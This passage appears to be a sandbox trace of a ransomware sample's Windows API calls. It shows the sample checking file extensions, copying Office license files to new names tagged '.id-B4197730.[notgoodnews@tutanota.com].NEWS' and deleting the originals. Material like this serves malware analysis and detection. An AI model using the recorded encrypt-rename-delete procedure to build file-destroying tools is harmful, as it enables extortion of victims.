(lpString1=".doc", lpString2="m-ms") returned -1 [0189.460] lstrlenW (lpString=".docx") returned 5 [0189.460] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.460] lstrlenW (lpString=".pdf") returned 4 [0189.460] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.460] lstrlenW (lpString=".xls") returned 4 [0189.460] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.460] lstrlenW (lpString=".xlsx") returned 5 [0189.460] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.460] lstrlenW (lpString=".ppt") returned 4 [0189.460] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0189.460] lstrlenW (lpString=".zip") returned 4 [0189.460] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.460] lstrlenW (lpString=".rar") returned 4 [0189.460] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.460] lstrlenW (lpString=".bz2") returned 4 [0189.460] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.460] lstrlenW (lpString=".7z") returned 3 [0189.460] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0189.460] lstrlenW (lpString=".dbf") returned 4 [0189.460] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0189.460] lstrlenW (lpString=".1cd") returned 4 [0189.460] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0189.461] lstrlenW (lpString=".jpg") returned 4 [0189.461] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.461] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0189.461] lstrlenW (lpString="MondoR_Subscription-ppd.xrm-ms") returned 30 [0189.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0189.462] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=32361) returned 1 [0189.462] CloseHandle (hObject=0x57c) returned 1 [0189.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms")) returned 0x220 [0189.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0189.464] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0189.464] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0189.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0189.466] GetLastError () returned 0x0 [0189.466] ReadFile (in: hFile=0x57c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x7e69, lpOverlapped=0x0) returned 1 [0189.468] WriteFile (in: hFile=0x56c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x7e70, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x7e70, lpOverlapped=0x0) returned 1 [0189.470] ReadFile (in: hFile=0x57c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0189.470] WriteFile (in: hFile=0x56c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x110, lpOverlapped=0x0) returned 1 [0189.470] SetEndOfFile (hFile=0x56c) returned 1 [0189.470] CloseHandle (hObject=0x56c) returned 1 [0189.470] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0189.470] SetEndOfFile (hFile=0x57c) returned 1 [0189.474] CloseHandle (hObject=0x57c) returned 1 [0189.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.474] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms")) returned 1 [0189.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0189.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0189.475] lstrlenW (lpString=".doc") returned 4 [0189.475] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.475] lstrlenW (lpString=".docx") returned 5 [0189.475] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.475] lstrlenW (lpString=".pdf") returned 4 [0189.475] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.475] lstrlenW (lpString=".xls") returned 4 [0189.475] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.475] lstrlenW (lpString=".xlsx") returned 5 [0189.476] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.476] lstrlenW (lpString=".ppt") returned 4 [0189.476] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0189.476] lstrlenW (lpString=".zip") returned 4 [0189.476] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.476] lstrlenW (lpString=".rar") returned 4 [0189.476] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.476] lstrlenW (lpString=".bz2") returned 4 [0189.476] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.476] lstrlenW (lpString=".7z") returned 3 [0189.476] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0189.476] lstrlenW (lpString=".dbf") returned 4 [0189.476] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0189.476] lstrlenW (lpString=".1cd") returned 4 [0189.476] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0189.476] lstrlenW (lpString=".jpg") returned 4 [0189.476] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0189.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0189.476] lstrlenW (lpString=".doc") returned 4 [0189.476] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.476] lstrlenW (lpString=".docx") returned 5 [0189.476] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.476] lstrlenW (lpString=".pdf") returned 4 [0189.476] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.476] lstrlenW (lpString=".xls") returned 4 [0189.476] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.476] lstrlenW (lpString=".xlsx") returned 5 [0189.476] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.477] lstrlenW (lpString=".ppt") returned 4 [0189.477] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0189.477] lstrlenW (lpString=".zip") returned 4 [0189.477] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.477] lstrlenW (lpString=".rar") returned 4 [0189.477] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.477] lstrlenW (lpString=".bz2") returned 4 [0189.477] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.477] lstrlenW (lpString=".7z") returned 3 [0189.477] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0189.477] lstrlenW (lpString=".dbf") returned 4 [0189.477] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0189.477] lstrlenW (lpString=".1cd") returned 4 [0189.477] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0189.477] lstrlenW (lpString=".jpg") returned 4 [0189.477] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.477] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0189.477] lstrlenW (lpString="MondoR_Subscription-ul-oob.xrm-ms") returned 33 [0189.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0189.478] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=11612) returned 1 [0189.478] CloseHandle (hObject=0x57c) returned 1 [0189.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms")) returned 0x220 [0189.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0189.479] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0189.479] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0189.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0189.480] GetLastError () returned 0x0 [0189.480] ReadFile (in: hFile=0x57c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x2d5c, lpOverlapped=0x0) returned 1 [0189.482] WriteFile (in: hFile=0x56c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x2d60, lpOverlapped=0x0) returned 1 [0189.483] ReadFile (in: hFile=0x57c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0189.483] WriteFile (in: hFile=0x56c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x116, lpOverlapped=0x0) returned 1 [0189.483] SetEndOfFile (hFile=0x56c) returned 1 [0189.483] CloseHandle (hObject=0x56c) returned 1 [0189.483] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0189.483] SetEndOfFile (hFile=0x57c) returned 1 [0189.486] CloseHandle (hObject=0x57c) returned 1 [0189.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.761] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms")) returned 1 [0189.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0189.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0189.902] lstrlenW (lpString=".doc") returned 4 [0189.902] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.902] lstrlenW (lpString=".docx") returned 5 [0189.902] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.902] lstrlenW (lpString=".pdf") returned 4 [0189.902] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.902] lstrlenW (lpString=".xls") returned 4 [0189.902] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.903] lstrlenW (lpString=".xlsx") returned 5 [0189.903] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.903] lstrlenW (lpString=".ppt") returned 4 [0189.903] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0189.903] lstrlenW (lpString=".zip") returned 4 [0189.903] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.903] lstrlenW (lpString=".rar") returned 4 [0189.903] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.903] lstrlenW (lpString=".bz2") returned 4 [0189.903] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.903] lstrlenW (lpString=".7z") returned 3 [0189.903] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0189.903] lstrlenW (lpString=".dbf") returned 4 [0189.903] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0189.903] lstrlenW (lpString=".1cd") returned 4 [0189.903] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0189.903] lstrlenW (lpString=".jpg") returned 4 [0189.903] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0189.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0189.903] lstrlenW (lpString=".doc") returned 4 [0189.903] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.903] lstrlenW (lpString=".docx") returned 5 [0189.904] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.904] lstrlenW (lpString=".pdf") returned 4 [0189.904] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.904] lstrlenW (lpString=".xls") returned 4 [0189.904] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.904] lstrlenW (lpString=".xlsx") returned 5 [0189.904] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.904] lstrlenW (lpString=".ppt") returned 4 [0189.904] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0189.904] lstrlenW (lpString=".zip") returned 4 [0189.904] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.904] lstrlenW (lpString=".rar") returned 4 [0189.904] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.904] lstrlenW (lpString=".bz2") returned 4 [0189.904] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.904] lstrlenW (lpString=".7z") returned 3 [0189.904] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0189.904] lstrlenW (lpString=".dbf") returned 4 [0189.904] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0189.904] lstrlenW (lpString=".1cd") returned 4 [0189.904] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0189.904] lstrlenW (lpString=".jpg") returned 4 [0189.904] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.905] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0189.905] lstrlenW (lpString="MondoR_SubTrial2-pl.xrm-ms") returned 26 [0189.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0189.906] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=11155) returned 1 [0189.906] CloseHandle (hObject=0x57c) returned 1 [0189.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms")) returned 0x220 [0189.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0189.907] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0189.907] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0189.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0189.908] GetLastError () returned 0x0 [0189.908] ReadFile (in: hFile=0x57c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x2b93, lpOverlapped=0x0) returned 1 [0189.911] WriteFile (in: hFile=0x580, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0189.912] ReadFile (in: hFile=0x57c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0189.912] WriteFile (in: hFile=0x580, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x108, lpOverlapped=0x0) returned 1 [0189.912] SetEndOfFile (hFile=0x580) returned 1 [0189.912] CloseHandle (hObject=0x580) returned 1 [0189.913] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0189.913] SetEndOfFile (hFile=0x57c) returned 1 [0189.920] CloseHandle (hObject=0x57c) returned 1 [0189.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.921] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms")) returned 1 [0189.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0189.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0189.922] lstrlenW (lpString=".doc") returned 4 [0189.922] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.922] lstrlenW (lpString=".docx") returned 5 [0189.922] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.922] lstrlenW (lpString=".pdf") returned 4 [0189.922] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.922] lstrlenW (lpString=".xls") returned 4 [0189.922] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.923] lstrlenW (lpString=".xlsx") returned 5 [0189.923] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.923] lstrlenW (lpString=".ppt") returned 4 [0189.923] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0189.923] lstrlenW (lpString=".zip") returned 4 [0189.923] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.923] lstrlenW (lpString=".rar") returned 4 [0189.923] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.923] lstrlenW (lpString=".bz2") returned 4 [0189.923] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.923] lstrlenW (lpString=".7z") returned 3 [0189.923] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0189.923] lstrlenW (lpString=".dbf") returned 4 [0189.923] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0189.923] lstrlenW (lpString=".1cd") returned 4 [0189.923] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0189.923] lstrlenW (lpString=".jpg") returned 4 [0189.923] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.923] lstrlenW (lpString="C:\\Program Files\\Microsoft 